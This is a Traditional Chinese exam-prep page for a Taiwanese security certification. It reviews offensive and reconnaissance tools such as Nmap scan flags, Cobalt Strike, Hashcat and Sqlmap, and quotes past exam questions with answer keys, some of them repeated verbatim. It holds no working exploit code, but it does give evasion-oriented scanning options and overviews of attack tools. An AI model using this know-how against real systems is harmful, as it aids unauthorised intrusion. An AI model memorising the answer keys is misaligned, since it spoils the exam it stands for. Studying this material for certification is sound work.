🗡️ 滲透測試工具
Aircrack-ng
無線網路攻擊
防護-113-2-Q29
📖 工具介紹
無線網路安全稽核工具組，用於 WEP/WPA/WPA2 密碼破解與無線安全評估。
⚙️ 使用情境 / 重要參數
使用情境：Wi-Fi 密碼破解稽核、無線網路安全評估、紅隊演練無線攻擊
📝 代表考題（防護-113-2-Q29）
關於滲透測試工具的敘述，下列何者正確？
A.John the Ripper 和 Hashcat，主要用在社交工程
B.Aircrack-ng 和 Kismet 用在有線網路刺探分析
C.Nmap 和 Wireshark 用於識別網路中的設備，以及他們開放的端口和服務 ✓
D.OWASP ZAP 和 Burp Suite 用在作業系統漏洞分析
正確答案：
C
▶ 查看解析
【正確答案：C】Nmap是網路掃描工具，可發現網路中的設備、開放埠及服務版本；Wireshark是封包擷取分析工具，可識別網路中的通訊與服務。兩者合用可有效識別網路設備與服務，敘述正確。選項A錯誤：John the Ripper和Hashcat是密碼破解工具（針對雜湊值），而非社交工程工具。選項B錯誤：Aircrack-ng和Kismet用於無線（Wi-Fi）網路的偵測與破解，而非有線網路。選項D錯誤：OWASP ZAP和Burp Suite是網頁應用程式安全測試工具（Web Application Scanner/Proxy），而非作業系統漏洞分析工具。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 常出現在「無線滲透工具組合」選項
- 與 Kismet（無線監控）配合使用
Burp Suite
Web 滲透測試
防護-110 安全防護-Q33 防護-113-2-Q29 防護-113-2-Q5 防護-114-1-Q17 防護-114-1-Q3 防護-114-2-Q30 防護-114-2-Q38
📖 工具介紹
Web 安全測試平台，核心功能為 HTTP/HTTPS 代理攔截，可修改任意請求。
⚙️ 使用情境 / 重要參數
Proxy：攔截 / 修改 HTTP 請求 Scanner：自動弱點掃描 Intruder：自動化攻擊（暴力破解、模糊測試） Repeater：重放並修改請求
📝 代表考題（防護-110 安全防護-Q33）
【題組4 背景描述】
滲透測試（Penetration Test）是通過模擬惡意黑客的攻擊方法，來評估計算機網路系統安全的一種測試，目的是發掘系統漏洞，並提出改善方法，且通常來說是善意的，小李身為 A 公司的資安工程師，請就上述情境回答下列問題。
下列何者較「不」可能是小李滲透測試（Penetration Test）會使用到的工具？
滲透測試（Penetration Test）是通過模擬惡意黑客的攻擊方法，來評估計算機網路系統安全的一種測試，目的是發掘系統漏洞，並提出改善方法，且通常來說是善意的，小李身為 A 公司的資安工程師，請就上述情境回答下列問題。
下列何者較「不」可能是小李滲透測試（Penetration Test）會使用到的工具？
A.Wireshark
B.Burp Suit
C.Nagios ✓
D.Nmap
正確答案：
C
▶ 查看解析
【正確答案：C】此題問「不」可能用於滲透測試的工具。
Nagios是一套「IT基礎架構監控平台」，主要用於監控伺服器、網路設備、服務的可用性與效能，並在問題發生時發出告警通知，屬於「維運監控（Monitoring）」工具，並非滲透測試工具。
【A錯誤（可用於滲透測試）】Wireshark：封包擷取與分析工具，在滲透測試的偵查與流量分析階段常被使用。
【B錯誤（可用於滲透測試）】Burp Suite：專業的Web應用程式安全測試工具，提供代理攔截、爬蟲、主動/被動掃描等功能，是Web滲透測試的核心工具。
【D錯誤（可用於滲透測試）】Nmap：網路探索與埠掃描工具，在滲透測試的偵查階段（Reconnaissance）必不可少。
Nagios是一套「IT基礎架構監控平台」，主要用於監控伺服器、網路設備、服務的可用性與效能，並在問題發生時發出告警通知，屬於「維運監控（Monitoring）」工具，並非滲透測試工具。
【A錯誤（可用於滲透測試）】Wireshark：封包擷取與分析工具，在滲透測試的偵查與流量分析階段常被使用。
【B錯誤（可用於滲透測試）】Burp Suite：專業的Web應用程式安全測試工具，提供代理攔截、爬蟲、主動/被動掃描等功能，是Web滲透測試的核心工具。
【D錯誤（可用於滲透測試）】Nmap：網路探索與埠掃描工具，在滲透測試的偵查階段（Reconnaissance）必不可少。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 前端 JavaScript 驗證可被 Burp Suite 輕易繞過 → 安全驗證必須在「後端」進行
- 常出現在「前端驗證有效性」錯誤觀念辨識題
Cobalt Strike
APT / 紅隊工具（C2 框架）
防護-111-Q28 防護-114-2-Q10 防護-114-2-Q27
📖 工具介紹
商業化滲透測試框架，常被 APT 組織濫用作為 C2（Command & Control）工具。Cobalt Strike Beacon 是其後門元件，建立與 C2 伺服器的持久連線。
⚙️ 使用情境 / 重要參數
合法使用：紅隊演練、APT 戰術模擬 Beacon：後門元件，支援 Shellcode 注入、橫向移動、資料外洩
📝 代表考題（防護-111-Q28）
【題組 2】駭客勒索集團針對各類系統漏洞進行攻擊，掌握全球駭客勒索集團相關技術資訊，取得駭客集團第一手攻擊手法，或是暗網的技術資料，並進行防護有效性驗證與分析，是身為專業資安人員應具備的基本能力。某駭客集團善用合法白名單工具，來躲避相關資安防護機制的分析與阻斷，關於白名單工具分析與敘述，下列哪些正確？（複選）
A.Cobalt Strike 原是對手模擬和紅隊行動是安全評估工具，可複製網絡中高級對手的戰術和技術，被勒索集團（Conti, Hello 等）轉換成攻擊威脅橫向移動工具 ✓
B.Mimikatz 原是進行遠端指令執行使用的好工具，卻被勒索集團（Doppelpaymer, Revil 等）用在任意命令執行與橫向移動
C.ADFind 應用在 AD 搜尋的實用工具，被勒索集團（ProLock, Revil 等）利用在橫向移動 ✓
D.MegaSync 原是雲端儲存空間，被勒索集團（RansomEXX, LockBit 等）利用公開不付贖金外洩資料的載點 ✓
正確答案：
A、C、D
▶ 查看解析
【正確答案：A、C、D】
【選項A正確】Cobalt Strike 確實是合法的商業滲透測試/紅隊工具，原設計用於對手模擬，但其功能強大（Beacon、橫向移動、C2 通訊等），已被 Conti、Hello 等多個勒索集團廣泛濫用作為攻擊工具。
【選項B錯誤】Mimikatz 的設計原意是研究 Windows 認證機制（特別是 LSASS 記憶體中的憑證提取），而非「遠端指令執行工具」。Mimikatz 主要被攻擊者用於憑證竊取（Credential Dumping）和傳遞雜湊值攻擊（Pass-the-Hash），而非任意命令執行。
【選項C正確】ADFind 是 Active Directory 物件搜尋工具，可枚舉 AD 中的使用者、群組、電腦等資訊，ProLock、REvil 等勒索集團利用此工具進行 AD 偵查與橫向移動準備。
【選項D正確】MEGA（MegaSync）是合法的雲端儲存服務，RansomEXX、LockBit 等勒索集團將竊取的資料上傳至 MEGA，作為雙重勒索（Double Extortion）的資料外洩平台，威脅受害者若不付贖金即公開資料。
【選項A正確】Cobalt Strike 確實是合法的商業滲透測試/紅隊工具，原設計用於對手模擬，但其功能強大（Beacon、橫向移動、C2 通訊等），已被 Conti、Hello 等多個勒索集團廣泛濫用作為攻擊工具。
【選項B錯誤】Mimikatz 的設計原意是研究 Windows 認證機制（特別是 LSASS 記憶體中的憑證提取），而非「遠端指令執行工具」。Mimikatz 主要被攻擊者用於憑證竊取（Credential Dumping）和傳遞雜湊值攻擊（Pass-the-Hash），而非任意命令執行。
【選項C正確】ADFind 是 Active Directory 物件搜尋工具，可枚舉 AD 中的使用者、群組、電腦等資訊，ProLock、REvil 等勒索集團利用此工具進行 AD 偵查與橫向移動準備。
【選項D正確】MEGA（MegaSync）是合法的雲端儲存服務，RansomEXX、LockBit 等勒索集團將竊取的資料上傳至 MEGA，作為雙重勒索（Double Extortion）的資料外洩平台，威脅受害者若不付贖金即公開資料。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- Cobalt Strike Beacon 是 APT 後滲透常見工具
- 與 REvil、Conti 等勒索組織的 TTP 相關
- 出現在 APT 攻擊工具鏈辨識題
Hashcat
密碼破解
防護-113-2-Q29 防護-114-1-Q4
📖 工具介紹
GPU 加速密碼破解工具，支援多種雜湊演算法與攻擊模式。
⚙️ 使用情境 / 重要參數
Dictionary Attack：字典攻擊 Brute Force Attack：暴力破解 Mask Attack Mode：遮罩攻擊（考古題考點） Rule-based Attack：規則型攻擊 支援格式：MD5、SHA256、NTLM、bcrypt 等
📝 代表考題（防護-113-2-Q29）
關於滲透測試工具的敘述，下列何者正確？
A.John the Ripper 和 Hashcat，主要用在社交工程
B.Aircrack-ng 和 Kismet 用在有線網路刺探分析
C.Nmap 和 Wireshark 用於識別網路中的設備，以及他們開放的端口和服務 ✓
D.OWASP ZAP 和 Burp Suite 用在作業系統漏洞分析
正確答案：
C
▶ 查看解析
【正確答案：C】Nmap是網路掃描工具，可發現網路中的設備、開放埠及服務版本；Wireshark是封包擷取分析工具，可識別網路中的通訊與服務。兩者合用可有效識別網路設備與服務，敘述正確。選項A錯誤：John the Ripper和Hashcat是密碼破解工具（針對雜湊值），而非社交工程工具。選項B錯誤：Aircrack-ng和Kismet用於無線（Wi-Fi）網路的偵測與破解，而非有線網路。選項D錯誤：OWASP ZAP和Burp Suite是網頁應用程式安全測試工具（Web Application Scanner/Proxy），而非作業系統漏洞分析工具。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- Mask Attack Mode 為考古題考點
- 與 John the Ripper 並列為密碼破解工具組合
Hydra
暴力破解
防護-113-1-Q24 防護-114-1-Q37
📖 工具介紹
網路服務登入暴力破解工具，支援 SSH、FTP、HTTP、RDP 等多種協定。
⚙️ 使用情境 / 重要參數
使用情境：登入帳號暴力破解、密碼噴灑攻擊（Password Spraying）測試
📝 代表考題（防護-113-1-Q24）
【題組3】情境說明：有一個在我國立案的公司，以下簡稱廠商A，其為「資通安全事件通報及應變辦法」所稱之特定非公務機關，主要業務為屬於關鍵基礎設施的交通服務。
廠商 A 配合業務需求，開發新的 Web 訂票系統，請問如要進行弱點掃描，下列何項最為適合進行弱點掃描？
廠商 A 配合業務需求，開發新的 Web 訂票系統，請問如要進行弱點掃描，下列何項最為適合進行弱點掃描？
A.Checkmarx ✓
B.OpenVAS ✓
C.Hydra
D.Google
正確答案：
B（或A）
▶ 查看解析
【正確答案B（或A）】
【A選項分析】Checkmarx 是靜態應用程式安全測試（SAST）工具，主要用於原始碼掃描，可發現程式碼層面的安全弱點，適用於開發階段。部分答案版本接受A。
【B選項分析】OpenVAS（Open Vulnerability Assessment System）是知名的開源網路弱點掃描工具，可對已部署的 Web 系統進行弱點掃描，適合對新開發完成的 Web 訂票系統進行整體弱點評估，B正確。
【C選項分析】Hydra 是密碼暴力破解工具，非弱點掃描工具，不適合。
【D選項分析】Google 是搜尋引擎，並非資安弱點掃描工具，不適合。
【A選項分析】Checkmarx 是靜態應用程式安全測試（SAST）工具，主要用於原始碼掃描，可發現程式碼層面的安全弱點，適用於開發階段。部分答案版本接受A。
【B選項分析】OpenVAS（Open Vulnerability Assessment System）是知名的開源網路弱點掃描工具，可對已部署的 Web 系統進行弱點掃描，適合對新開發完成的 Web 訂票系統進行整體弱點評估，B正確。
【C選項分析】Hydra 是密碼暴力破解工具，非弱點掃描工具，不適合。
【D選項分析】Google 是搜尋引擎，並非資安弱點掃描工具，不適合。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 出現在「Checkmarx OpenVAS Hydra Google」工具組合辨識題（哪些是弱點掃描工具）
John the Ripper
密碼破解
防護-113-2-Q29
📖 工具介紹
開源密碼破解工具，支援多種加密格式的密碼雜湊值破解。
⚙️ 使用情境 / 重要參數
使用情境：密碼雜湊值破解（MD5、SHA1、DES 等）、帳號安全稽核
📝 代表考題（防護-113-2-Q29）
關於滲透測試工具的敘述，下列何者正確？
A.John the Ripper 和 Hashcat，主要用在社交工程
B.Aircrack-ng 和 Kismet 用在有線網路刺探分析
C.Nmap 和 Wireshark 用於識別網路中的設備，以及他們開放的端口和服務 ✓
D.OWASP ZAP 和 Burp Suite 用在作業系統漏洞分析
正確答案：
C
▶ 查看解析
【正確答案：C】Nmap是網路掃描工具，可發現網路中的設備、開放埠及服務版本；Wireshark是封包擷取分析工具，可識別網路中的通訊與服務。兩者合用可有效識別網路設備與服務，敘述正確。選項A錯誤：John the Ripper和Hashcat是密碼破解工具（針對雜湊值），而非社交工程工具。選項B錯誤：Aircrack-ng和Kismet用於無線（Wi-Fi）網路的偵測與破解，而非有線網路。選項D錯誤：OWASP ZAP和Burp Suite是網頁應用程式安全測試工具（Web Application Scanner/Proxy），而非作業系統漏洞分析工具。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 常與 Hashcat、Aircrack-ng、Kismet 並列出現在同一題選項
Kismet
無線網路監控（Wireless IDS）
防護-113-2-Q29
📖 工具介紹
無線網路偵測、嗅探與入侵偵測系統，可被動監控無線訊號而不發出任何封包。
⚙️ 使用情境 / 重要參數
使用情境：無線 AP 掃描監控、Rogue AP（惡意 AP）偵測、無線流量分析
📝 代表考題（防護-113-2-Q29）
關於滲透測試工具的敘述，下列何者正確？
A.John the Ripper 和 Hashcat，主要用在社交工程
B.Aircrack-ng 和 Kismet 用在有線網路刺探分析
C.Nmap 和 Wireshark 用於識別網路中的設備，以及他們開放的端口和服務 ✓
D.OWASP ZAP 和 Burp Suite 用在作業系統漏洞分析
正確答案：
C
▶ 查看解析
【正確答案：C】Nmap是網路掃描工具，可發現網路中的設備、開放埠及服務版本；Wireshark是封包擷取分析工具，可識別網路中的通訊與服務。兩者合用可有效識別網路設備與服務，敘述正確。選項A錯誤：John the Ripper和Hashcat是密碼破解工具（針對雜湊值），而非社交工程工具。選項B錯誤：Aircrack-ng和Kismet用於無線（Wi-Fi）網路的偵測與破解，而非有線網路。選項D錯誤：OWASP ZAP和Burp Suite是網頁應用程式安全測試工具（Web Application Scanner/Proxy），而非作業系統漏洞分析工具。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 出現在「無線滲透測試工具組合」選項
- 與 Aircrack-ng 配合使用
Metasploit
滲透測試框架
防護-110 安全防護-Q14 防護-113-2-Q30 防護-114-2-Q7
📖 工具介紹
開源滲透測試框架，提供大量已知漏洞的 Exploit 模組，支援後滲透行動。
⚙️ 使用情境 / 重要參數
使用情境：漏洞利用測試、後滲透行動（Post-exploitation）、紅隊演練、弱點驗證
📝 代表考題（防護-110 安全防護-Q14）
某 MIS 人員欲對公司一重要伺服器（功能包含檔案伺服器、資料庫功能）使用 Nmap 來執行進行滲透測試，以便瞭解該資訊設備之漏洞是否全數修補完成，請問該 MIS 使用此工具最主要之目的為下列何者？
A.利用該伺服器已知對外開放之服務埠進行情蒐 ✓
B.利用該伺服器已知之漏洞提升權限
C.利用該伺服器已知之漏洞竊取檔案
D.利用該伺服器已知之漏洞下載資料庫
正確答案：
A
▶ 查看解析
【正確答案：A】Nmap（Network Mapper）是一款網路探索與安全稽核工具，主要功能包含：
1. 主機探索（Host Discovery）
2. 連接埠掃描（Port Scanning）—找出開放的服務埠
3. 服務版本偵測（Service Version Detection）
4. 作業系統辨識（OS Detection）
其最主要目的是「情蒐（Reconnaissance/Information Gathering）」—掃描伺服器開放的連接埠與服務，了解攻擊面。它本身不執行漏洞利用。
【B錯誤】提升權限（Privilege Escalation）是漏洞利用工具（如Metasploit）的功能，非Nmap的主要目的。
【C錯誤】竊取檔案需要先取得存取權限，屬於後滲透（Post-Exploitation）階段，非Nmap功能。
【D錯誤】下載資料庫屬於資料外洩（Data Exfiltration）操作，非Nmap功能。
1. 主機探索（Host Discovery）
2. 連接埠掃描（Port Scanning）—找出開放的服務埠
3. 服務版本偵測（Service Version Detection）
4. 作業系統辨識（OS Detection）
其最主要目的是「情蒐（Reconnaissance/Information Gathering）」—掃描伺服器開放的連接埠與服務，了解攻擊面。它本身不執行漏洞利用。
【B錯誤】提升權限（Privilege Escalation）是漏洞利用工具（如Metasploit）的功能，非Nmap的主要目的。
【C錯誤】竊取檔案需要先取得存取權限，屬於後滲透（Post-Exploitation）階段，非Nmap功能。
【D錯誤】下載資料庫屬於資料外洩（Data Exfiltration）操作，非Nmap功能。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 需在合法 SOW（工作說明書）授權範圍內使用
- 常出現在「滲透測試工具組合辨識」題
Nmap
偵察 / 掃描
防護-110 安全防護-Q14 防護-110 安全防護-Q33 防護-111-Q1 防護-111-Q14 防護-113-1-Q34 防護-113-2-Q29 防護-113-2-Q5 防護-114-2-Q38 防護-114-2-Q7 防護-114-2-Q8
📖 工具介紹
開源網路探索與安全稽核工具，是滲透測試偵察階段的必備工具。
⚙️ 使用情境 / 重要參數
-sS：TCP SYN 半開放掃描（最常用、最隱蔽） -sU：UDP 埠掃描 -sV：服務版本偵測 -O：作業系統偵測（注意：非 -sO） -sO：IP 協定掃描（≠ 作業系統偵測） -T0~T5：掃描速度（T1 最慢最隱蔽，T4 積極快速，T5 最快） -D：誘騙掃描（Decoy Scan，偽裝多個來源 IP 混淆防禦方） -A：全面掃描（OS + 版本 + 腳本）
📝 代表考題（防護-110 安全防護-Q33）
【題組4 背景描述】
滲透測試（Penetration Test）是通過模擬惡意黑客的攻擊方法，來評估計算機網路系統安全的一種測試，目的是發掘系統漏洞，並提出改善方法，且通常來說是善意的，小李身為 A 公司的資安工程師，請就上述情境回答下列問題。
下列何者較「不」可能是小李滲透測試（Penetration Test）會使用到的工具？
滲透測試（Penetration Test）是通過模擬惡意黑客的攻擊方法，來評估計算機網路系統安全的一種測試，目的是發掘系統漏洞，並提出改善方法，且通常來說是善意的，小李身為 A 公司的資安工程師，請就上述情境回答下列問題。
下列何者較「不」可能是小李滲透測試（Penetration Test）會使用到的工具？
A.Wireshark
B.Burp Suit
C.Nagios ✓
D.Nmap
正確答案：
C
▶ 查看解析
【正確答案：C】此題問「不」可能用於滲透測試的工具。
Nagios是一套「IT基礎架構監控平台」，主要用於監控伺服器、網路設備、服務的可用性與效能，並在問題發生時發出告警通知，屬於「維運監控（Monitoring）」工具，並非滲透測試工具。
【A錯誤（可用於滲透測試）】Wireshark：封包擷取與分析工具，在滲透測試的偵查與流量分析階段常被使用。
【B錯誤（可用於滲透測試）】Burp Suite：專業的Web應用程式安全測試工具，提供代理攔截、爬蟲、主動/被動掃描等功能，是Web滲透測試的核心工具。
【D錯誤（可用於滲透測試）】Nmap：網路探索與埠掃描工具，在滲透測試的偵查階段（Reconnaissance）必不可少。
Nagios是一套「IT基礎架構監控平台」，主要用於監控伺服器、網路設備、服務的可用性與效能，並在問題發生時發出告警通知，屬於「維運監控（Monitoring）」工具，並非滲透測試工具。
【A錯誤（可用於滲透測試）】Wireshark：封包擷取與分析工具，在滲透測試的偵查與流量分析階段常被使用。
【B錯誤（可用於滲透測試）】Burp Suite：專業的Web應用程式安全測試工具，提供代理攔截、爬蟲、主動/被動掃描等功能，是Web滲透測試的核心工具。
【D錯誤（可用於滲透測試）】Nmap：網路探索與埠掃描工具，在滲透測試的偵查階段（Reconnaissance）必不可少。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- SYN 掃描（-sS）只掃 TCP，不能掃 UDP
- -sO 是 IP 協定掃描，偵測 OS 要用 -O
- -T1 比 -T4「慢」，數字越小越慢越隱蔽
- -D 是誘騙掃描（Decoy），不是 DNS 查詢
Sqlmap
SQL 注入自動化
防護-113-1-Q32 防護-114-2-Q7
📖 工具介紹
自動化 SQL 注入偵測與資料庫提取工具，支援 Boolean-based、Error-based、UNION-based、Time-based 等注入類型。
⚙️ 使用情境 / 重要參數
使用情境：Web 應用程式 SQL 注入自動化測試、資料庫內容枚舉
📝 代表考題（防護-113-1-Q32）
關於資安測試工具用途的敘述，下列哪些正確？
A.Acunetix 為 Web 漏洞掃描程式 ✓
B.Wireshark 提供網路協定、封包等資訊 ✓
C.Sqlmap 用於檢測和利用應用程式 SQL 注入及對資料庫的攻擊 ✓
D.Canvas 社交攻擊用工具
正確答案：
ABC
▶ 查看解析
【正確答案ABC】
【A選項分析】Acunetix 是專業的 Web 應用程式漏洞掃描工具，可掃描 XSS、SQL Injection 等 Web 漏洞，A正確。
【B選項分析】Wireshark 是網路封包分析工具，可捕獲並分析網路流量、協定資訊，B正確。
【C選項分析】Sqlmap 是開源的自動化 SQL 注入偵測與利用工具，可對資料庫進行攻擊測試，C正確。
【D選項分析】Canvas 是 Immunity 開發的商業滲透測試框架，主要用於漏洞利用（Exploitation），而非社交攻擊工具（社交攻擊工具應為 SET - Social Engineering Toolkit），D描述錯誤。
【A選項分析】Acunetix 是專業的 Web 應用程式漏洞掃描工具，可掃描 XSS、SQL Injection 等 Web 漏洞，A正確。
【B選項分析】Wireshark 是網路封包分析工具，可捕獲並分析網路流量、協定資訊，B正確。
【C選項分析】Sqlmap 是開源的自動化 SQL 注入偵測與利用工具，可對資料庫進行攻擊測試，C正確。
【D選項分析】Canvas 是 Immunity 開發的商業滲透測試框架，主要用於漏洞利用（Exploitation），而非社交攻擊工具（社交攻擊工具應為 SET - Social Engineering Toolkit），D描述錯誤。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 出現在 Web 滲透工具辨識題
- 與 OWASP ZAP、Wireshark 等工具組合比較
🔍 偵察 / 資產搜尋
Censys
網際網路資產搜尋引擎
防護-112-1-Q37 防護-112-1-Q39
📖 工具介紹
類似 Shodan 的網際網路資產搜尋引擎，提供更詳細的憑證與服務資訊，常用於攻擊面管理。
⚙️ 使用情境 / 重要參數
使用情境：攻擊面管理（ASM）、資產發現、滲透測試偵察
📝 代表考題（防護-112-1-Q37）
【題組5背景描述】
網站滲透攻擊是紅隊滲透重要基本課題，而善用網路資源與工具，可以達到事半功倍之效果，身為資安滲透團隊成員，以下相關網路資源與工具，事必須要掌握的技術與技巧。
關於網路資源的敘述，下列何者錯誤？
網站滲透攻擊是紅隊滲透重要基本課題，而善用網路資源與工具，可以達到事半功倍之效果，身為資安滲透團隊成員，以下相關網路資源與工具，事必須要掌握的技術與技巧。
關於網路資源的敘述，下列何者錯誤？
A.FOFA 是覆蓋全球資料頗為完整的 IT 設備搜尋引擎，非中國創立資料庫 ✓
B.Shodan 是世界上第一個用於聯網與 IoT 設備的搜尋引擎，可以查找到電子門鎖相關資訊
C.ZoomEye 是由中國創宇 404 實驗室所搭建網路空間搜尋引擎
D.Censys 也是蒐集全球最新的 Internet 掃描數據源
正確答案：
A
▶ 查看解析
【正確答案：A】FOFA（Fingerprint of All）實際上是由中國白帽匯（BAIMAOHUI）所創立的網路空間資產搜尋引擎，並非「非中國創立」。FOFA確實是覆蓋全球資料的IT設備搜尋引擎，但其為中國公司創立的描述才是正確的，選項A的後半段描述「非中國創立」有誤。
B正確：Shodan由John Matherly創立，是最早的IoT設備搜尋引擎，可搜尋包含門禁系統等各類聯網設備。
C正確：ZoomEye確實是由中國知道創宇（KnownSec）404實驗室開發的網路空間搜尋引擎。
D正確：Censys是由密西根大學研究團隊開發，持續掃描全球互聯網資產並提供搜尋服務。
B正確：Shodan由John Matherly創立，是最早的IoT設備搜尋引擎，可搜尋包含門禁系統等各類聯網設備。
C正確：ZoomEye確實是由中國知道創宇（KnownSec）404實驗室開發的網路空間搜尋引擎。
D正確：Censys是由密西根大學研究團隊開發，持續掃描全球互聯網資產並提供搜尋服務。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 與 Shodan、ZoomEye 並列
- 出現在「資訊蒐集工具組合」辨識題
Shodan
網際網路資產搜尋引擎
防護-112-1-Q37 防護-112-1-Q39 防護-112-2-Q25
📖 工具介紹
可搜尋網際網路上暴露設備的搜尋引擎，俗稱「駭客的 Google」。
⚙️ 使用情境 / 重要參數
搜尋對象：暴露的伺服器、IoT 設備、特定漏洞版本軟體、ICS/SCADA 工控系統 合法用途：資產盤點、攻擊面識別、滲透測試偵察階段
📝 代表考題（防護-112-1-Q37）
【題組5背景描述】
網站滲透攻擊是紅隊滲透重要基本課題，而善用網路資源與工具，可以達到事半功倍之效果，身為資安滲透團隊成員，以下相關網路資源與工具，事必須要掌握的技術與技巧。
關於網路資源的敘述，下列何者錯誤？
網站滲透攻擊是紅隊滲透重要基本課題，而善用網路資源與工具，可以達到事半功倍之效果，身為資安滲透團隊成員，以下相關網路資源與工具，事必須要掌握的技術與技巧。
關於網路資源的敘述，下列何者錯誤？
A.FOFA 是覆蓋全球資料頗為完整的 IT 設備搜尋引擎，非中國創立資料庫 ✓
B.Shodan 是世界上第一個用於聯網與 IoT 設備的搜尋引擎，可以查找到電子門鎖相關資訊
C.ZoomEye 是由中國創宇 404 實驗室所搭建網路空間搜尋引擎
D.Censys 也是蒐集全球最新的 Internet 掃描數據源
正確答案：
A
▶ 查看解析
【正確答案：A】FOFA（Fingerprint of All）實際上是由中國白帽匯（BAIMAOHUI）所創立的網路空間資產搜尋引擎，並非「非中國創立」。FOFA確實是覆蓋全球資料的IT設備搜尋引擎，但其為中國公司創立的描述才是正確的，選項A的後半段描述「非中國創立」有誤。
B正確：Shodan由John Matherly創立，是最早的IoT設備搜尋引擎，可搜尋包含門禁系統等各類聯網設備。
C正確：ZoomEye確實是由中國知道創宇（KnownSec）404實驗室開發的網路空間搜尋引擎。
D正確：Censys是由密西根大學研究團隊開發，持續掃描全球互聯網資產並提供搜尋服務。
B正確：Shodan由John Matherly創立，是最早的IoT設備搜尋引擎，可搜尋包含門禁系統等各類聯網設備。
C正確：ZoomEye確實是由中國知道創宇（KnownSec）404實驗室開發的網路空間搜尋引擎。
D正確：Censys是由密西根大學研究團隊開發，持續掃描全球互聯網資產並提供搜尋服務。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 與 Censys、ZoomEye 並列為「網際網路資產搜尋工具」三大代表
- 滲透測試「偵察（Reconnaissance）」階段工具
ZoomEye
網際網路資產搜尋引擎
防護-112-1-Q37
📖 工具介紹
中國知道創宇開發的網際網路空間搜尋引擎，功能類似 Shodan，用於暴露資產搜尋。
⚙️ 使用情境 / 重要參數
使用情境：暴露資產搜尋、特定軟硬體版本偵測
📝 代表考題（防護-112-1-Q37）
【題組5背景描述】
網站滲透攻擊是紅隊滲透重要基本課題，而善用網路資源與工具，可以達到事半功倍之效果，身為資安滲透團隊成員，以下相關網路資源與工具，事必須要掌握的技術與技巧。
關於網路資源的敘述，下列何者錯誤？
網站滲透攻擊是紅隊滲透重要基本課題，而善用網路資源與工具，可以達到事半功倍之效果，身為資安滲透團隊成員，以下相關網路資源與工具，事必須要掌握的技術與技巧。
關於網路資源的敘述，下列何者錯誤？
A.FOFA 是覆蓋全球資料頗為完整的 IT 設備搜尋引擎，非中國創立資料庫 ✓
B.Shodan 是世界上第一個用於聯網與 IoT 設備的搜尋引擎，可以查找到電子門鎖相關資訊
C.ZoomEye 是由中國創宇 404 實驗室所搭建網路空間搜尋引擎
D.Censys 也是蒐集全球最新的 Internet 掃描數據源
正確答案：
A
▶ 查看解析
【正確答案：A】FOFA（Fingerprint of All）實際上是由中國白帽匯（BAIMAOHUI）所創立的網路空間資產搜尋引擎，並非「非中國創立」。FOFA確實是覆蓋全球資料的IT設備搜尋引擎，但其為中國公司創立的描述才是正確的，選項A的後半段描述「非中國創立」有誤。
B正確：Shodan由John Matherly創立，是最早的IoT設備搜尋引擎，可搜尋包含門禁系統等各類聯網設備。
C正確：ZoomEye確實是由中國知道創宇（KnownSec）404實驗室開發的網路空間搜尋引擎。
D正確：Censys是由密西根大學研究團隊開發，持續掃描全球互聯網資產並提供搜尋服務。
B正確：Shodan由John Matherly創立，是最早的IoT設備搜尋引擎，可搜尋包含門禁系統等各類聯網設備。
C正確：ZoomEye確實是由中國知道創宇（KnownSec）404實驗室開發的網路空間搜尋引擎。
D正確：Censys是由密西根大學研究團隊開發，持續掃描全球互聯網資產並提供搜尋服務。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 與 Shodan、Censys 並列出現在同一題選項
📋 弱點掃描工具
Acunetix
Web 弱點掃描（商業）
規劃-110規劃-Q27 防護-113-1-Q32 防護-113-2-Q5
📖 工具介紹
商業化 Web 應用程式弱點自動掃描工具，支援 OWASP Top 10 全面掃描。
⚙️ 使用情境 / 重要參數
使用情境：OWASP Top 10 安全測試、系統上線前安全驗證、CI/CD 整合掃描
📝 代表考題（規劃-110規劃-Q27）
（承題組2背景）若您於事件結束後，轉換工作擔任某系統整合商（System Integration, SI）資安工程師，近期公司承接政府一級單位某資訊系統建置案，政府一級單位皆通過 ISO/IEC27001 認證，並在需求建議書（Request for Proposal, RFP）文件中要求：(1)在系統上線前與保固期間該專案軟體必須每季通過 OWASP Top 10 安全檢測、(2)相關程式源碼必須通過白箱檢測、(3)系統上線前應修補與提出對應防護機制，來完成硬體、作業系統、Web Service（如：IIS7, Tomcat, WebLogic）漏洞、(4)上線後還需經過第三方滲透測試。若您要進行安全技術作業來滿足上述軟體開發安全架構、服務環境安全架構需求，下列敘述何者「不」正確？
A.建議該單位通過 OWASP Top 10 安全檢測，通常可採用安全測試工具，如：Acunetix、WebInspect
B.可採用白箱檢測（white-box testing），又稱源碼分析（Source Code Analysis）工具，可以分析已經 Compile 後的執行檔程式，如：Fortify、IDA Pro ✓
C.在 Web 服務的防護對策，建議該單位採購網站應用程式防火牆（Web Application Firewall, WAF）來進行過濾攔阻攻擊行為，而 WAF 有軟體式與硬體式規格
D.在滲透檢測（Penetrant Testing, PT）作業上，因為已經是上線對外服務的系統，在滲透攻入成功後，應嚴守不破壞該資訊系統程式與資料
正確答案：
B
▶ 查看解析
【正確答案B（不正確的敘述）】白箱測試（White-box Testing）又稱源碼分析（SAST, Static Application Security Testing），其分析的對象是「原始碼（Source Code）」，而非已編譯的執行檔。
- IDA Pro是一種反組譯/逆向工程工具，用於分析已編譯的執行檔，屬於逆向工程而非源碼分析。
- Fortify（HP Fortify SCA）確實是源碼分析工具，但IDA Pro的定位描述錯誤。
【A正確】Acunetix、WebInspect是標準的Web應用程式弱點掃描工具，適合OWASP Top 10測試。
【C正確】WAF確有軟體式（如ModSecurity）與硬體式（如F5、Imperva）兩種形態。
【D正確】滲透測試必須遵守不破壞原則，這是職業道德與合約要求。
- IDA Pro是一種反組譯/逆向工程工具，用於分析已編譯的執行檔，屬於逆向工程而非源碼分析。
